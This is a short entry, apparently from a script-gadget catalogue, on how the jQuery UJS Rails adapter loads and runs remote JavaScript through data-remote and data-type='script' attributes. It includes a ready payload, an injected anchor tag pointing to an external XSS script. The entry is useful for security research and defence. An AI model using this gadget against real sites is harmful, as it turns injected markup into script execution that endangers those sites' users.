Ruby on Rails unobtrusive scripting adapter for jQuery.
jQuery UJS allows loading JavaScript files using the data-type="script" attribute. For this to works the server must respond with Access-Control-Allow-Origin: *, Access-Control-Allow-Headers: * and Content-Type: application/javascript. Since the event is delegated to the document, it can be triggered at any time.
<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-ujs/1.2.3/rails.min.js"></script>
<!-- user input -->
<a data-remote="true" data-method="get" data-type="script" href="https://gmsgadget.com/assets/xss/index.js">XSS</a>The full list of available data-* attributes is:
Related links: